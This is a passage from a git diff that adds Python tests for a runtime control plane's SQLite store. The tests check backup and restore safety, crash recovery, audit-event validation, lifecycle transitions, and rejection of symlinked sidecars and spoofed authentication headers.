monkeypatch.setattr(maintenance_module, "_fsync_regular_file", fail_once) + with pytest.raises(OSError, match="injected fsync failure"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + conflict_policy=DestinationConflictPolicy.REPLACE, + ) + + assert failed + with sqlite3.connect(database) as connection: + assert connection.execute("PRAGMA journal_mode").fetchone() == ("wal",) + assert connection.execute("SELECT count(*) FROM audit_events").fetchone() == (2,) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.CHECK, + store_path=restored, + target_name="stub", + run_scope="run:ops", + ) + + +def test_unconfirmed_restore_rollback_keeps_destination_exclusively_owned( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + _create_local_store(restored) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + database = restored / "control-plane.sqlite3" + original_replace = maintenance_module.os.replace + original_fsync = maintenance_module._fsync_regular_file + failed = False + + def fail_rollback(source_path: Path, destination_path: Path) -> None: + if source_path.name.startswith("pre-restore-") and destination_path == database: + raise OSError("injected rollback failure") + original_replace(source_path, destination_path) + + def fail_publication_fsync_once(path: Path) -> None: + nonlocal failed + if path == database and not failed: + failed = True + raise OSError("injected fsync failure") + original_fsync(path) + + monkeypatch.setattr(maintenance_module.os, "replace", fail_rollback) + monkeypatch.setattr(maintenance_module, "_fsync_regular_file", fail_publication_fsync_once) + held_leases = maintenance_module._UNCERTAIN_RESTORE_LEASES + try: + with pytest.raises(RuntimeError, match="rollback could not be confirmed"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + conflict_policy=DestinationConflictPolicy.REPLACE, + ) + with pytest.raises(RuntimeError, match="already has a runtime owner"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.CHECK, + store_path=restored, + target_name="stub", + run_scope="run:ops", + ) + finally: + held_leases.pop().close() + + +def test_restore_refuses_stale_destination_sidecars_before_publication(tmp_path: Path) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + restored.mkdir(mode=0o700) + stale_sidecar = restored / "control-plane.sqlite3-wal" + stale_sidecar.write_bytes(b"stale") + stale_sidecar.chmod(0o600) + + with pytest.raises(RuntimeError, match="stale SQLite sidecar"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + + assert not (restored / "control-plane.sqlite3").exists() + assert stale_sidecar.read_bytes() == b"stale" + + +@pytest.mark.parametrize("sidecar_owner", ["backup", "destination"]) +def test_restore_rejects_symlink_sidecars_before_sqlite_connect( + tmp_path: Path, + sidecar_owner: str, +) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=source, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + ) + _create_local_store(restored) + protected = tmp_path / "protected-file" + protected.write_bytes(b"must-not-change") + target = backup if sidecar_owner == "backup" else restored / "control-plane.sqlite3" + Path(f"{target}-wal").symlink_to(protected) + + with pytest.raises(RuntimeError, match="symlink"): + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored, + backup_path=backup, + target_name="stub", + run_scope="run:ops", + conflict_policy=DestinationConflictPolicy.REPLACE, + ) + + assert protected.read_bytes() == b"must-not-change" + + +def test_runtime_store_cli_delegates_to_maintenance_and_emits_only_fixed_codes(tmp_path: Path) -> None: + source = tmp_path / "source-store" + backup = tmp_path / "backup.sqlite3" + restored = tmp_path / "restored-store" + _create_local_store(source) + runner = CliRunner() + + checked = runner.invoke( + cli_app, + ["runtime", "store", "check", str(source), "--target", "stub", "--run-scope", "run:ops"], + ) + backed_up = runner.invoke( + cli_app, + [ + "runtime", + "store", + "backup", + str(source), + str(backup), + "--target", + "stub", + "--run-scope", + "run:ops", + ], + ) + restored_result = runner.invoke( + cli_app, + [ + "runtime", + "store", + "restore", + str(backup), + str(restored), + "--target", + "stub", + "--run-scope", + "run:ops", + ], + ) + + assert (checked.exit_code, checked.stdout) == (0, "control-plane-store-check-succeeded\n") + assert (backed_up.exit_code, backed_up.stdout) == (0, "control-plane-store-backup-succeeded\n") + assert (restored_result.exit_code, restored_result.stdout) == (0, "control-plane-store-restore-succeeded\n") + + +def test_runtime_store_cli_failure_redacts_paths_and_provider_errors(tmp_path: Path) -> None: + sentinel = "secret-store-path-1186" + source = tmp_path / sentinel + _create_local_store(source) + + result = CliRunner().invoke( + cli_app, + ["runtime", "store", "check", str(source), "--target", "stub", "--run-scope", "run:wrong"], + ) + + assert result.exit_code == 1 + assert result.stdout == "control-plane-store-check-failed\n" + assert sentinel not in result.stdout + assert "scope does not match" not in result.stdout + + +def test_audit_creation_rejects_unbounded_or_nested_details() -> None: + base = { + "timestamp": "2026-09-19T00:00:00Z", + "action": "test", + "identity": "operator-1186", + "allowed": True, + "target": "target:stub", + "reason": "accepted", + } + + with pytest.raises(ValueError, match="audit details"): + AuditEvent(**base, details={"nested": {"secret": "value"}}) + with pytest.raises(ValueError, match="audit details"): + AuditEvent(**base, details={f"key-{index}": index for index in range(17)}) + with pytest.raises(ValueError, match="audit action"): + AuditEvent(**{**base, "action": "x" * 513}) + + +def test_audit_details_reject_unknown_fields_and_values_outside_their_closed_domains() -> None: + base = { + "timestamp": "2026-09-19T00:00:00Z", + "action": "provisioning_terminal", + "identity": "operator-1186", + "allowed": True, + "target": "target:stub", + "reason": "operation-succeeded", + } + sentinel = "secret-provider-value-1186" + + with pytest.raises(ValueError, match="audit details"): + AuditEvent(**base, details={"request_body": sentinel}) + with pytest.raises(ValueError, match="audit details"): + AuditEvent(**base, details={"state": sentinel}) + with pytest.raises(ValueError, match="audit details"): + AuditEvent(**base, details={"episode_id": "episode-1"}) + with pytest.raises(ValueError, match="audit details"): + AuditEvent(**{**base, "action": "record_participant_crossing"}, details={"episode_id": "/private/path"}) + assert AuditEvent(**base, details={"state": "succeeded"}).details == {"state": "succeeded"} + + +def test_composed_participant_crossing_audit_fields_remain_closed_and_value_free() -> None: + base = { + "timestamp": "2026-09-19T00:00:00Z", + "identity": "operator-1186", + "allowed": True, + "target": "participant.red", + "reason": "accepted", + } + crossing = { + "episode_id": "episode-1", + "crossing_decision_id": "decision-1", + "crossing_decision_cut_ref": "participant-policy-cut:red:episode-1:8", + "crossing_disposition": "permit", + "flow_final_disposition": "permit", + } + + for action in ( + "record_participant_crossing", + "record_participant_control", + "authorize_participant_action", + "admit_participant_action", + ): + event = AuditEvent(**base, action=action, details=crossing) + assert event.details == crossing + with pytest.raises(ValueError, match="audit details"): + AuditEvent(**base, action=action, details={**crossing, "crossing_disposition": "secret"}) + denied = {**crossing, "flow_sink_decision_id": "", "flow_final_disposition": "unresolved"} + assert AuditEvent(**base, action=action, details=denied).details == denied + with pytest.raises(ValueError, match="audit details"): + AuditEvent(**base, action=action, details={**denied, "flow_final_disposition": "permit"}) + + +@pytest.mark.parametrize( + "invalid_details", + [ + {"nested": {"secret": "must-not-be-rewritten"}}, + {"request_body": "must-not-be-rewritten"}, + ], +) +def test_schema_v4_audit_history_is_validated_before_v5_upgrade( + tmp_path: Path, + invalid_details: dict[str, object], +) -> None: + store_path = tmp_path / "store" + _create_local_store(store_path) + database = store_path / "control-plane.sqlite3" + with sqlite3.connect(database) as connection: + connection.execute("UPDATE metadata SET value='4' WHERE key='schema-version'") + payload = asdict( + AuditEvent( + timestamp="2026-09-19T00:00:00Z", + action="legacy", + identity="operator-1186", + allowed=True, + target="target:stub", + ) + ) + payload["details"] = invalid_details + content, digest = encode_payload(payload) + connection.execute("UPDATE audit_events SET payload=?, digest=?", (content, digest)) + + target = create_stub_target() + store = LocalControlPlaneStore(store_path) + with pytest.raises(ValueError): + RuntimeControlPlane(target, store=store, run_scope="run:ops") + + with sqlite3.connect(database) as connection: + assert connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() == ("4",) + persisted = connection.execute("SELECT payload FROM audit_events").fetchone() + assert persisted is not None + assert "must-not-be-rewritten" in persisted[0] + + +def test_valid_schema_v4_audit_history_advances_to_v5(tmp_path: Path) -> None: + store_path = tmp_path / "store" + _create_local_store(store_path) + database = store_path / "control-plane.sqlite3" + with sqlite3.connect(database) as connection: + connection.execute("UPDATE metadata SET value='4' WHERE key='schema-version'") + + reopened = RuntimeControlPlane( + create_stub_target(), + store=LocalControlPlaneStore(store_path), + run_scope="run:ops", + ) + reopened.close() + + with sqlite3.connect(database) as connection: + assert connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() == ( + LOCAL_OPERATION_SCHEMA_VERSION, + ) + + +def test_api_audits_use_immutable_target_scope_instead_of_request_paths() -> None: + control_plane = RuntimeControlPlane(create_stub_target()) + security = ControlPlaneSecurityConfig( + bearer_tokens={ + "auditor-token-1186": ControlPlaneIdentity( + identity="auditor-1186", + roles=frozenset({ControlPlaneRole.AUDITOR}), + target_name="stub", + ) + } + ) + app = create_control_plane_app(control_plane, security=security) + + with TestClient(app) as client: + response = client.get("/snapshot", headers={"authorization": "Bearer auditor-token-1186"}) + audit_targets = {event.target for event in control_plane.audit_log()} + + assert response.status_code == 200 + assert audit_targets == {"target:stub"} + + +def test_conflict_details_never_return_provider_text() -> None: + sentinel = "provider-secret-sql-path-1186" + assert _conflict_detail(ValueError(sentinel)) == "operation conflict" + + +def test_rejection_audit_failure_log_omits_exception_and_request_path( + caplog: pytest.LogCaptureFixture, +) -> None: + sentinel = "provider-secret-1186" + control_plane = RuntimeControlPlane(create_stub_target()) + + def fail_audit(**_kwargs: object) -> None: + raise OSError(sentinel) + + control_plane.record_audit = fail_audit # type: ignore[method-assign] + + async def accepted(_scope: object, _receive: object, _send: object) -> None: + raise AssertionError("oversized request must not be dispatched") + + middleware = RequestSizeLimitMiddleware( + accepted, # type: ignore[arg-type] + control_plane=control_plane, + max_request_bytes=1, + ) + + client = TestClient(middleware, raise_server_exceptions=False) + response = client.post("/secret/request/path", content=b"xx") + + assert response.status_code == 413 + assert "control-plane rejection audit persistence failed" in caplog.text + assert sentinel not in caplog.text + assert "/secret/request/path" not in caplog.text + + +def test_oversized_http_method_cannot_suppress_rejection_audit() -> None: + store = InMemoryControlPlaneStore() + control_plane = RuntimeControlPlane(create_stub_target(), store=store) + + async def accepted(_scope: object, _receive: object, _send: object) -> None: + raise AssertionError("oversized request must not be dispatched") + + middleware = RequestSizeLimitMiddleware( + accepted, # type: ignore[arg-type] + control_plane=control_plane, + max_request_bytes=1, + ) + response = TestClient(middleware).request("M" * 600, "/rejected", content=b"xx") + + assert response.status_code == 413 + assert [(item.action, item.reason) for item in store.read_audit()] == [ + ("http-request-rejected", "request too large") + ] + + +def test_validation_secondary_audit_failure_preserves_coarse_response_and_log( + caplog: pytest.LogCaptureFixture, +) -> None: + sentinel = "secret-validation-audit-provider-1186" + control_plane = RuntimeControlPlane(create_stub_target()) + security = ControlPlaneSecurityConfig( + bearer_tokens={ + "backend-token-1186": ControlPlaneIdentity( + identity="backend-1186", + roles=frozenset({ControlPlaneRole.BACKEND}), + target_name="stub", + ) + } + ) + app = create_control_plane_app(control_plane, security=security) + + def fail_audit(**_kwargs: object) -> None: + raise OSError(sentinel) + + control_plane.record_audit = fail_audit # type: ignore[method-assign] + raw_request_value = "secret-request-value-1186" + with TestClient(app, raise_server_exceptions=False) as client: + response = client.post( + "/operations/orchestration", + content=f'{{"operations":"{raw_request_value}"}}', + headers={ + "authorization": "Bearer backend-token-1186", + "content-type": "application/json", + }, + ) + + assert response.status_code == 422 + assert response.json() == {"detail": "request validation failed"} + assert "control-plane redacted-error audit persistence failed" in caplog.text + assert sentinel not in caplog.text + assert raw_request_value not in caplog.text diff --git a/implementations/python/tests/test_issue_1187_control_plane_durable_carriers.py b/implementations/python/tests/test_issue_1187_control_plane_durable_carriers.py new file mode 100644 index 000000000..82cbc3b18 --- /dev/null +++ b/implementations/python/tests/test_issue_1187_control_plane_durable_carriers.py @@ -0,0 +1,65 @@ +"""Offline carrier mutation must fail admission even with a matching digest.""" + +from __future__ import annotations + +import json +import sqlite3 + +import pytest +from control_plane_conformance_fixtures import DURABLE_PROFILES, profile_harness, witness_events +from raes_runtime.control_plane_store_local_codec import encode_payload + +pytestmark = pytest.mark.control_plane_conformance + + +@pytest.mark.parametrize("profile", DURABLE_PROFILES) +@pytest.mark.parametrize( + "mutation", + [ + "missing-state", + "unknown-state", + "unknown-field", + "actor-mismatch", + "scope-mismatch", + "durable-key-mismatch", + "bad-digest", + ], +) +def test_malformed_durable_carrier_blocks_reopen_without_backend_replay(profile, mutation, tmp_path) -> None: + with profile_harness(profile, tmp_path) as harness: + operation_id = harness.submit() + database = tmp_path / "store" / "control-plane.sqlite3" + with sqlite3.connect(database) as connection: + original = connection.execute( + "SELECT payload FROM operations WHERE operation_id=?", (operation_id,) + ).fetchone()[0] + payload = json.loads(original) + if mutation == "missing-state": + del payload["status"]["state"] + elif mutation == "unknown-state": + payload["status"]["state"] = "replay-me" + elif mutation == "unknown-field": + payload["status"]["trusted"] = True + elif mutation == "actor-mismatch": + payload["status"]["context"]["actor_id"] = "other" + elif mutation == "scope-mismatch": + for field in ("receipt", "status"): + payload[field]["context"]["run_scope"] = "run:other" + elif mutation == "durable-key-mismatch": + for field in ("receipt", "status"): + payload[field]["operation_id"] = "other-operation" + content, digest = encode_payload(payload) + if mutation == "bad-digest": + digest = "0" * 64 + connection.execute( + "UPDATE operations SET payload=?, digest=? WHERE operation_id=?", (content, digest, operation_id) + ) + effects = witness_events(tmp_path / "effects.jsonl") + with pytest.raises((ValueError, RuntimeError)), profile_harness(profile, tmp_path): + pytest.fail("malformed persisted operation reached readiness") + assert witness_events(tmp_path / "effects.jsonl") == effects + # Rejection does not silently repair, drop, or replace the invalid history. + with sqlite3.connect(database) as connection: + assert connection.execute( + "SELECT payload, digest FROM operations WHERE operation_id=?", (operation_id,) + ).fetchone() == (content, digest) diff --git a/implementations/python/tests/test_issue_1187_control_plane_lifecycle_properties.py b/implementations/python/tests/test_issue_1187_control_plane_lifecycle_properties.py new file mode 100644 index 000000000..222c02b9c --- /dev/null +++ b/implementations/python/tests/test_issue_1187_control_plane_lifecycle_properties.py @@ -0,0 +1,171 @@ +"""Independent FM3 lifecycle oracle against each reference store implementation.""" + +from __future__ import annotations + +from contextlib import contextmanager +from copy import deepcopy +from dataclasses import replace +from itertools import product +from pathlib import Path +from tempfile import TemporaryDirectory + +import pytest +from control_plane_conformance_fixtures import RUN_SCOPE, TARGET_SCOPE, inspect_store +from hypothesis import given, settings +from hypothesis import strategies as st +from raes_contracts.planning import RuntimeDomain +from raes_contracts.runtime_state import ( + OperationAdmissionContext, + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, + RuntimeSnapshot, +) +from raes_runtime.control_plane_store import ControlPlaneOperationRecord, InMemoryControlPlaneStore + +pytestmark = pytest.mark.control_plane_conformance + +# This oracle is transcribed from the FM3 model, not imported from the runtime +# predicate under test. Exact carrier retries are checked separately. +LEGAL = { + ("accepted", "running"), + ("accepted", "cancelled"), + ("accepted", "indeterminate"), + ("running", "succeeded"), + ("running", "failed"), + ("running", "cancelled"), + ("running", "indeterminate"), +} +NONTERMINAL = {OperationState.ACCEPTED, OperationState.RUNNING} + + +def _record(state: OperationState, kind: OperationKind = OperationKind.PROVISIONING) -> ControlPlaneOperationRecord: + context = OperationAdmissionContext( + actor_id="alice", + authorization_scope=("role:operator",), + target_scope=TARGET_SCOPE, + run_scope=RUN_SCOPE, + operation_kind=kind, + request_commitment=f"sha256:{'a' * 64}", + ) + receipt = OperationReceipt( + operation_id="conformance-operation", + domain=RuntimeDomain.PROVISIONING, + submitted_at="2026-09-20T00:00:00Z", + accepted=True, + context=context, + ) + return ControlPlaneOperationRecord( + receipt=receipt, + status=OperationStatus( + operation_id=receipt.operation_id, + domain=receipt.domain, + state=state, + submitted_at=receipt.submitted_at, + updated_at=receipt.submitted_at, + context=context, + ), + idempotency_key="conformance-key", + request_fingerprint=context.request_commitment, + ) + + +@contextmanager +def _store(profile: str, path: Path): + if profile == "P0": + yield InMemoryControlPlaneStore() + else: + with inspect_store(path) as store: + yield store + + +def _cut(store): + return deepcopy((store.load_snapshot_state(), store.load_records(), store.read_audit())) + + +def _seed(store, state: OperationState, kind=OperationKind.PROVISIONING): + record = _record(state, kind) + if state in NONTERMINAL: + store.claim_record(record) + else: + store.claim_record(_record(OperationState.RUNNING, kind)) + store.commit_terminal_operation(RuntimeSnapshot(), record, expected_revision=0) + return record + + +def _persist(store, candidate, snapshot, revision): + if candidate.status.state in NONTERMINAL: + store.save_record(candidate) + else: + store.commit_terminal_operation(snapshot, candidate, expected_revision=revision) + + +def _exercise_sequence(store, current, sequence): + for index, state in enumerate(sequence, start=1): + candidate = replace( + current, + status=replace(current.status, state=state, diagnostics=[], updated_at=f"2026-09-20T00:01:{index:02d}Z"), + ) + before = _cut(store) + snapshot = replace(before[0].snapshot, metadata={"step": index}) + + if (current.status.state.value, state.value) in LEGAL: + _persist(store, candidate, snapshot, before[0].revision) + after = _cut(store) + _persist(store, candidate, snapshot, before[0].revision) # Exact retry is a no-op. + assert _cut(store) == after + assert store.load_records()[current.receipt.operation_id] == candidate + assert candidate.status.context == current.status.context + current = candidate + else: + try: + _persist(store, candidate, snapshot, before[0].revision) + except ValueError: + pass + else: + raise AssertionError("illegal transition was accepted") + assert _cut(store) == before + + +@pytest.mark.parametrize("profile", ["P0", "P1"]) +@pytest.mark.parametrize("source,target", list(product(OperationState, repeat=2))) +def test_every_lifecycle_transition_preserves_the_full_atomic_cut(profile, source, target, tmp_path) -> None: + with _store(profile, tmp_path) as store: + _exercise_sequence(store, _seed(store, source), [target]) + + +@pytest.mark.fuzz +@pytest.mark.parametrize("profile", ["P0", "P1"]) +@settings(max_examples=40, deadline=None, derandomize=True) +@given(sequence=st.lists(st.sampled_from(list(OperationState)), min_size=1, max_size=12)) +def test_generated_lifecycle_sequences_never_rewrite_terminal_history(profile, sequence) -> None: + with TemporaryDirectory(prefix="control-plane-sequence-") as directory, _store(profile, Path(directory)) as store: + _exercise_sequence(store, _seed(store, OperationState.ACCEPTED), sequence) + + +@pytest.mark.parametrize("profile", ["P0", "P1"]) +@pytest.mark.parametrize("kind", list(OperationKind)) +def test_each_operation_kind_commits_one_immutable_actor_bound_terminal_cut(profile, kind, tmp_path) -> None: + with _store(profile, tmp_path) as store: + _exercise_sequence( + store, _seed(store, OperationState.RUNNING, kind), [OperationState.SUCCEEDED, OperationState.FAILED] + ) + events = store.read_audit() + assert len(events) == 1 + assert (events[0].action, events[0].identity, events[0].target) == ( + f"{kind.value}_terminal", + "alice", + TARGET_SCOPE, + ) + + +@pytest.mark.parametrize("profile", ["P0", "P1"]) +def test_lifecycle_oracle_detects_removed_transition_enforcement(profile, tmp_path, monkeypatch) -> None: + import raes_runtime.control_plane_store as contracts + + with _store(profile, tmp_path) as store: + current = _seed(store, OperationState.SUCCEEDED) + monkeypatch.setattr(contracts, "is_operation_transition_allowed", lambda *_args: True) + with pytest.raises(AssertionError, match="illegal transition was accepted"): + _exercise_sequence(store, current, [OperationState.RUNNING]) diff --git a/implementations/python/tests/test_issue_1187_control_plane_process_loss.py b/implementations/python/tests/test_issue_1187_control_plane_process_loss.py new file mode 100644 index 000000000..69ee1c82c --- /dev/null +++ b/implementations/python/tests/test_issue_1187_control_plane_process_loss.py @@ -0,0 +1,117 @@ +"""Abrupt owner loss, pre-recovery state cuts, and explicit P0 nonclaims.""" + +from __future__ import annotations + +import pytest +from control_plane_conformance_fixtures import ( + DURABLE_PROFILES, + inspect_store, + profile_harness, + terminal_audits, + witness_events, +) +from control_plane_crash_fixtures import APPLIED, COMMITTED, CRASH_BOUNDARIES, UNCLAIMED, kill_at +from raes_contracts.runtime_state import OperationState, RuntimeSnapshot +from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload + +pytestmark = [pytest.mark.control_plane_conformance, pytest.mark.integration] + + +@pytest.mark.parametrize("profile", DURABLE_PROFILES) +@pytest.mark.parametrize("boundary", CRASH_BOUNDARIES) +def test_process_loss_preserves_atomic_cut_and_classifies_without_replay(profile, boundary, tmp_path) -> None: + operation_id = kill_at(profile, tmp_path, boundary) + before_effects = witness_events(tmp_path / "effects.jsonl") + with inspect_store(tmp_path) as store: + records = store.load_records() + state = store.load_snapshot_state() + expected_snapshot = ( + _snapshot_from_payload(before_effects[-1]["snapshot"]) if boundary in COMMITTED else RuntimeSnapshot() + ) + assert state.snapshot == expected_snapshot + assert state.revision == (1 if boundary in COMMITTED else 0) + if boundary in UNCLAIMED: + assert records == {} + assert store.read_audit() == [] + else: + assert set(records) == {operation_id} + assert records[operation_id].status.state is ( + OperationState.SUCCEEDED if boundary in COMMITTED else OperationState.RUNNING + ) + assert len(terminal_audits(store, operation_id)) == (1 if boundary in COMMITTED else 0) + with profile_harness(profile, tmp_path, observe=True) as harness: + if boundary in UNCLAIMED: + assert harness.status(operation_id) is None + assert harness.store.load_records() == {} + else: + expected = OperationState.SUCCEEDED if boundary in APPLIED else OperationState.FAILED + assert harness.status(operation_id) is expected + if boundary in APPLIED: + assert harness.plane.snapshot == _snapshot_from_payload(before_effects[-1]["snapshot"]) + assert harness.submit() == operation_id + record = harness.store.load_records()[operation_id] + assert record.status.context.actor_id == "alice" + audits = terminal_audits(harness.store, operation_id) + assert len(audits) == 1 + assert audits[0].identity == "alice" + if boundary not in COMMITTED: + classification = "effect-applied" if boundary in APPLIED else "effect-absent" + assert f"runtime.control-plane.recovery-{classification}" in [d.code for d in record.status.diagnostics] + assert witness_events(tmp_path / "effects.jsonl") == before_effects + # A second owner must preserve the terminal state, claim and audit, too. + with profile_harness(profile, tmp_path, observe=True) as harness: + if boundary not in UNCLAIMED: + assert harness.submit() == operation_id + assert len(terminal_audits(harness.store, operation_id)) == 1 + assert witness_events(tmp_path / "effects.jsonl") == before_effects + + +@pytest.mark.parametrize("profile", DURABLE_PROFILES) +def test_unobservable_applied_effect_is_indeterminate_and_never_replayed(profile, tmp_path) -> None: + operation_id = kill_at(profile, tmp_path, "after-invoke") + effects = witness_events(tmp_path / "effects.jsonl") + assert [event["event"] for event in effects] == ["invoke", "applied"] + for _ in range(2): + with profile_harness(profile, tmp_path) as harness: + assert harness.status(operation_id) is OperationState.INDETERMINATE + assert harness.submit() == operation_id + assert len(terminal_audits(harness.store, operation_id)) == 1 + assert witness_events(tmp_path / "effects.jsonl") == effects + status = harness.store.load_records()[operation_id].status + assert "runtime.control-plane.recovery-effect-unobservable" in [item.code for item in status.diagnostics] + + +@pytest.mark.parametrize("profile", DURABLE_PROFILES) +@pytest.mark.parametrize( + "boundary", ["before-terminal", "after-snapshot", "after-record", "after-audit", "after-terminal"] +) +def test_recovery_itself_can_be_killed_without_partial_state_or_replay(profile, boundary, tmp_path) -> None: + operation_id = kill_at(profile, tmp_path, "after-invoke") + effects = witness_events(tmp_path / "effects.jsonl") + assert kill_at(profile, tmp_path, boundary, recovering=True) == operation_id + with inspect_store(tmp_path) as store: + committed = boundary == "after-terminal" + assert store.load_records()[operation_id].status.state is ( + OperationState.SUCCEEDED if committed else OperationState.RUNNING + ) + assert store.load_snapshot_state().revision == int(committed) + assert len(terminal_audits(store, operation_id)) == int(committed) + with profile_harness(profile, tmp_path, observe=True) as harness: + assert harness.status(operation_id) is OperationState.SUCCEEDED + assert harness.submit() == operation_id + assert harness.snapshot_cut() == ({}, 1) + assert len(terminal_audits(harness.store, operation_id)) == 1 + assert witness_events(tmp_path / "effects.jsonl") == effects + + +def test_p0_process_loss_loses_run_and_claim_even_when_external_effect_survives(tmp_path) -> None: + operation_id = kill_at("P0", tmp_path, "after-response") + assert [item["event"] for item in witness_events(tmp_path / "effects.jsonl")] == ["invoke", "applied"] + with profile_harness("P0", tmp_path) as harness: + assert harness.status(operation_id) is None + assert harness.store.load_records() == {} + assert harness.snapshot_cut() == ({}, 0) + # This explicit new submission demonstrates the nonclaim: P0 has no + # persisted deduplication and cannot promise exactly-once effects. + assert harness.submit() != operation_id + assert [item["event"] for item in witness_events(tmp_path / "effects.jsonl")] == ["invoke", "applied"] * 2 diff --git a/implementations/python/tests/test_issue_1187_control_plane_profiles.py b/implementations/python/tests/test_issue_1187_control_plane_profiles.py new file mode 100644 index 000000000..635ffc9e2 --- /dev/null +++ b/implementations/python/tests/test_issue_1187_control_plane_profiles.py @@ -0,0 +1,127 @@ +"""Shared observable guarantees for the landed P0, P1, and P2 compositions.""" + +from __future__ import annotations + +from concurrent.futures import ThreadPoolExecutor +from dataclasses import replace +from threading import Barrier + +import pytest +from control_plane_conformance_fixtures import ( + DURABLE_PROFILES, + PROFILES, + RUN_SCOPE, + profile_harness, + terminal_audits, + witness_events, +) +from raes_backend_stubs.stubs import create_stub_target +from raes_contracts.runtime_state import OperationState, RuntimeSnapshot +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_store import SnapshotRevisionConflict +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.control_plane_store_maintenance import ( + LocalStoreMaintenanceOperation, + maintain_local_control_plane_store, +) + +pytestmark = pytest.mark.control_plane_conformance + + +@pytest.mark.parametrize("profile", PROFILES) +def test_profile_scoped_retry_status_audit_and_cache_coherence(profile, tmp_path) -> None: + with profile_harness(profile, tmp_path) as harness: + assert harness.snapshot_cut() == ({}, 0) + first = harness.submit() + assert harness.status(first) is OperationState.SUCCEEDED + assert harness.submit() == first + assert harness.status(first, actor="bob") is None + assert harness.status(first, actor="changed-scope") is None + assert harness.status(first, actor="other-target") is None + second = harness.submit(actor="bob") + assert second != first + assert harness.status(second, actor="bob") is OperationState.SUCCEEDED + assert [item["event"] for item in witness_events(tmp_path / "effects.jsonl")] == ["invoke", "applied"] * 2 + for operation_id, actor in ((first, "alice"), (second, "bob")): + audits = terminal_audits(harness.store, operation_id) + assert len(audits) == 1 + assert (audits[0].identity, audits[0].reason, audits[0].target) == ( + actor, + "operation-succeeded", + "target:stub", + ) + observed = harness.store.load_snapshot_state() + harness.store.save_snapshot( + RuntimeSnapshot(metadata={"coherence": "new-cut"}), expected_revision=observed.revision + ) + stale_snapshot = RuntimeSnapshot(metadata={"coherence": "stale"}) + with pytest.raises(SnapshotRevisionConflict): + harness.store.save_snapshot(stale_snapshot, expected_revision=observed.revision) + assert harness.snapshot_cut() == ({"coherence": "new-cut"}, observed.revision + 1) + assert harness.status(first) is OperationState.SUCCEEDED + + +@pytest.mark.parametrize("profile", PROFILES) +def test_concurrent_same_actor_submissions_have_one_effect_and_terminal_cut(profile, tmp_path) -> None: + barrier = Barrier(4) + with profile_harness(profile, tmp_path) as harness: + + def submit(_index): + barrier.wait(timeout=10) + return harness.submit() + + with ThreadPoolExecutor(max_workers=4) as executor: + operation_ids = list(executor.map(submit, range(4))) + assert len(set(operation_ids)) == 1 + assert len(harness.store.load_records()) == 1 + assert len(terminal_audits(harness.store, operation_ids[0])) == 1 + assert harness.snapshot_cut() == ({}, 1) + assert [item["event"] for item in witness_events(tmp_path / "effects.jsonl")] == ["invoke", "applied"] + + +@pytest.mark.parametrize("profile", DURABLE_PROFILES) +def test_profile_lease_scope_and_restore_keep_receipts_and_claims(profile, tmp_path) -> None: + with profile_harness(profile, tmp_path) as harness: + operation_id = harness.submit() + with pytest.raises(RuntimeError, match="exactly one worker"), profile_harness(profile, tmp_path): + pytest.fail("second owner was admitted") + for target_name, run in (("other", RUN_SCOPE), ("stub", "run:other")): + target = replace(create_stub_target(), name=target_name) + store = LocalControlPlaneStore(tmp_path / "store") + with pytest.raises(RuntimeError, match="scope does not match"): + RuntimeControlPlane(target, store=store, run_scope=run) + backup = tmp_path / "backup.sqlite3" + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=tmp_path / "store", + backup_path=backup, + target_name="stub", + run_scope=RUN_SCOPE, + ) + restored = tmp_path / "restored" + restored.mkdir() + maintain_local_control_plane_store( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=restored / "store", + backup_path=backup, + target_name="stub", + run_scope=RUN_SCOPE, + ) + with profile_harness(profile, restored) as harness: + assert harness.status(operation_id) is OperationState.SUCCEEDED + assert harness.submit() == operation_id + assert harness.snapshot_cut() == ({}, 1) + assert len(terminal_audits(harness.store, operation_id)) == 1 + assert witness_events(restored / "effects.jsonl") == [] + + +def test_p2_spoofed_headers_and_invalid_bearer_never_disclose_receipts(tmp_path) -> None: + with profile_harness("P2", tmp_path) as harness: + operation_id = harness.submit() + spoofed = {"x-raes-client-identity": "alice", "x-raes-client-verified": "true"} + for headers in (spoofed, {**spoofed, "authorization": "Bearer invalid"}): + response = harness.client.get(f"/operations/{operation_id}", headers=headers) + assert response.status_code == 401 + assert operation_id not in response.text + assert len(harness.store.load_records()) == 1 + assert len(terminal_audits(harness.store, operation_id)) == 1 diff --git a/implementations/python/tests/test_issue_1187_control_plane_security_conformance.py b/implementations/python/tests/test_issue_1187_control_plane_security_conformance.py new file mode 100644 index 000000000..e0e8ad0af --- /dev/null +++ 